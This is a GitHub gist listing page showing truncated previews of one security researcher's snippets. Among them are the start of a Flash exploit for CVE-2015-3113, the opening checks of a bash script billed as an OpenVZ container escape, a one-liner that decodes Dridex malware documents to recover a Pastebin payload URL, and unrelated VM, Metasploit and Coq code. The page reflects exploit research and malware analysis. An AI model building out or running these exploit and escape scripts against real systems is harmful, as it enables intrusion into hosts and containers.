Skip to content

Instantly share code, notes, and snippets.

@mak
mak / cve2015_3113.as
Created June 29, 2015 21:15
CVE-2015-3113 from 205a625ebc3b0a9b286dc8f065845433
package
{
import flash.display.MovieClip;
import flash.utils.ByteArray;
import flash.net.URLLoader;
import flash.utils.Timer;
import flash.media.Video;
import flash.display.Loader;
import flash.net.URLRequest;
import flash.events.Event;
@mak
mak / bind_test.sh
Last active October 28, 2018 21:19
escape from openvz container to underlying fs
#!/bin/bash
### for ref goto: http://seclists.org/oss-sec/2015/q2/38
## sanity checks
if (( $(id -u) )); then echo '[-] need root'; exit; fi
if [ ! -e /proc/vz ]; then echo '[-] this is not openvz based'; exit; fi
if [ ! -e /dev/simfs ]; then echo '[-] no smifs cant exploit'; exit; fi
a=$(mktemp -d /bind_XXXXXXX)
#!/bin/bash
thisvm=$1
thatvm=$2
# You cannot "clone" a running vm, stop it. suspend and destroy
# are also valid options for less graceful cloning
virsh shutdown ${thisvm}
get_dridex_patebin() { echo "http://pastebin.com/download.php?i$(cat $1 | grep --binary-files=text -Pzo "Content-Type: application/x-mso\r?\n(.*\r?\n)*\r?\n------=_N" | head -n-2 | grep -v mso | tr -d "\n\r" | base64 -d | dd if=/dev/stdin bs=1 skip=50 2>/dev//null| openssl zlib -d | python2 oledump.py -s a -v | grep 'i?php.daolnwod/moc.nibetsap//:p'| cut -d'+' -f3 | cut -d'"' -f2 | rev)" ; }
get_dridex_patebin() { echo "http://pastebin.com/download.php?i$(cat $1 | grep --binary-files=text -Pzo "Content-Type: application/x-mso\r\n(.*\r\n)*\r\n------=_N" | head -n-2 | grep -v mso | tr -d "\n\r" | base64 -d | dd if=/dev/stdin bs=1 skip=50 2>/dev//null| openssl zlib -d | python2 oledump.py -s a -v | grep 'i?php.daolnwod/moc.nibetsap//:p'| cut -d'+' -f3 | cut -d'"' -f2 | rev)" ; }

Keybase proof

I hereby claim:

  • I am mak on github.
  • I am comak (https://keybase.io/comak) on keybase.
  • I have a public key whose fingerprint is F9C7 AC9F 9C8E 018B 732C 4B8E 9B9F 2F80 A0CA 69F5

To claim this, I am signing this object:

@mak
mak / dupa.rb
Created June 7, 2012 21:45
Test linux railgun
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
Inductive vector (A:Set) : nat -> Type :=
| vnil : vector A 0
| vcons : forall n, A -> vector A n -> vector A (S n).
Implicit Arguments vector [A].
Implicit Arguments vcons [A n].
Implicit Arguments vnil [A].
Fixpoint vecfold (A:Set) B n (f : A -> B -> B) (c:B) (l:vector n) :=
match l with